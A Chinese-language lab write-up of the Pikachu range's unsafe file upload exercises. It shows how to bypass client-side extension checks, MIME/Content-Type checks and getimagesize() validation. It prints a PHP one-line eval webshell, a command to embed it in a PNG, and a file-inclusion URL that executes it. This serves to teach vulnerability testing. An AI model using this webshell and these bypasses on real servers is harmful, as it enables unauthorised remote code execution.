概述
不安全的文件上传漏洞概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...
你可以通过“Unsafe file upload”对应的测试栏目,来进一步的了解该漏洞。
客户端check
正常上传一句话木马不行,那我们就只能去看一下网页源代码,看看有什么东西了
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="upload.php">unsafe upfileupload</a>
</li>
<li class="active">客户端check</li>
</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="一切在前端做的安全措施都是不靠谱的">
点一下提示~
</a>
</div>
<div class="page-content">
<div id="usu_main">
<p class="title">这里只允许上传图片o!</p>
<form class="upload" method="post" enctype="multipart/form-data" action="">
<input class="uploadfile" type="file" name="uploadfile" onchange="checkFileExt(this.value)"/><br />
<input class="sub" type="submit" name="submit" value="开始上传" />
</form>
</div>
我们发现这个源代码也给我们提示了,那就是这个过滤是放在前端的,那我们接下来在读代码的时候发现了一句话
onchange="checkFileExt(this.value)"
当元素的值发生改变时,会发生 onchange 事件。
对于单选框和复选框,在被选择的状态改变时,发生 onchange 事件。
提示:该事件类似于 oninput 事件。不同之处在于 oninput 事件在元素值改变后立即发生,而 onchange 在元素失去焦点而内容发生改变后发生。另一个区别是 onchange 事件也适用于 <select> 元素。
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
我们看见了checkFileExt方法,发现只能上传.jpg .png .gif为后缀的文件,那就糟糕了,那我们知道这个是在前端进行的校验,那么我们就可以直接修改前端的事件,不让checkFileExt方法运行就可以了
我们将onchange后面的 checkFileExt(this.value)删去即可上传一句话木马
<?php phpinfo(); @eval($_POST['shell']); ?>
同时这个前端也返回了上传一句话木马的路径,也为我们连接上蚁剑打下基础
就可以连接上蚁剑了
服务端check
接下来的这个靶场只要能把一句话木马上传到后端之后就可以连上蚁剑了,我就不给大家一一连接蚁剑了,只为大家讲解如何绕过上传拦截了
先上传一个一句话木马看看
依旧是这么显示,这几种能上传的格式,我们去查看了网页源代码没有发现什么,就是抓一下上传文件的包吧
我们修改Content-Type或者修改shell.php就可以上传
Content-Type:image/png
shell.php- >shell.png
ContentType属性指定响应的 HTTP内容类型。如果未指定 ContentType,默认为TEXT/HTML。
Content-Type:application/octet-stream,告知浏览器这是一个字节流,浏览器处理字节流的默认方式就是下载。
修改这俩项的基本原理就是让服务器认为我们上传的文件是图片文件,而不是其他文件
getimagesize()
看题目我们大概就猜到应该有这么个函数
getimagesize()函数将测定任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,
JP2,JPX,JB2,JPC,XBM或WBMP图像文件的大小并返回图像的尺寸以及文件类型和
一个可以用于普通HTML文件中<IMG>标记中的 height/width 文本字符串。
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回
FALSE 并产生一条 E_WARNING 级的错误信息。
这是一个PHP函数getimagesize() 能够识别图片文件信息 ,如果不是图片函数获取不到信息,文件就不允许上传。
这里需要制作图片一句话木马。
这里使用命令行进行操作,准备一个png(图片文件就行)和一句话木马
1.png/b+shell.php/a hack.png
在命令行中输入这样的命令就行了,然后我们上传我们的图片一句话木马
我们尝试一下蚁剑是否能连接上,我们发现是无法直接连接上,那么我们可以使用之前的文件包含漏洞
http://192.168.66.1/pikachu-master/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/04/29/146615626baece9d461568467883.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
这里的图片一句话木马被解析成了php同样可以运行